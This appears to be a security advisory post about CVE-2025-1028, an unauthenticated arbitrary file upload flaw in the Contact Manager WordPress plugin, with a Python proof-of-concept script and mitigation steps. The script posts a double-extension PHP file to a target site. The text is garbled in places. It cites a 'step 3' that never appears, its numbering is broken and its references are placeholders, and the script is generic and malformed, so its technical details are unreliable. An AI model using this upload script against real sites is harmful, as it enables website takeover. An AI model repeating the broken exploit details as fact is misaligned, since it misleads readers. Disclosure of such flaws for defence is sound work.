A critical vulnerability has been discovered in the Contact Manager plugin for WordPress, which allows unauthenticated attackers to upload arbitrary files on an affected site's server. This vulnerability, which has been assigned the designation CVE-2025-1028, affects all plugin versions up to and including 8.6.4. Successful exploitation of this vulnerability could lead to remote code execution in specific configurations, potentially letting attackers take full control of a compromised website.

Details

The Contact Manager plugin for WordPress is designed to help site owners easily manage contact forms on their websites. However, an issue in the upload feature of this plugin allows attackers to upload arbitrary files without proper file type validation. This makes it possible for an attacker to upload and execute malicious code on a vulnerable site’s server.

Exploit a race condition to force the server to process the first extension before the final one.

The race condition mentioned in step 3 is an important factor that could impact the success of the exploit. Race conditions are timing-based vulnerabilities that require precise timing and can be difficult to exploit consistently.

Here’s a simple proof-of-concept (PoC) script that demonstrates the vulnerability

import requests

target_url = "http://target-site.com/";
file_location = "path/to/malicious/file/exploit.php.jpg"

file_data = {
    "input_name": (None, "filename.php.jpg"),
    "uploaded_file": (file_location, open(file_location, "rb")),
}

response = requests.post(target_url, files=file_data)

if response.status_code == 200:
    print("File uploaded successfully")
else:
    print("Failed to upload file")

This Python script sends an HTTP POST request to the target site, containing the crafted malicious file. If the server response returns a 200 status code, it indicates that the file was uploaded successfully.

Mitigation

Until the plugin's developers release a patch for this vulnerability, you can take the following steps to protect your WordPress site:

Disable the file upload feature on the Contact Manager plugin.

2. Implement server-side security measures, such as restricting file types or limiting access to specific directories, to prevent arbitrary file uploads.

Original References

- Vulnerability Disclosure by XYZ Team
- Official Plugin Repository
- CVE-2025-1028 in National Vulnerability Database

Conclusion

The CVE-2025-1028 vulnerability in the Contact Manager plugin for WordPress poses a significant risk to affected websites. Site owners using this plugin with versions up to and including 8.6.4 are urged to disable the file upload feature and implement server-side security measures to protect their site. Additionally, users should stay vigilant for updates from the plugin's developers and apply any patches as soon as they are made available.

Timeline

Published on: 02/05/2025 04:15:06 UTC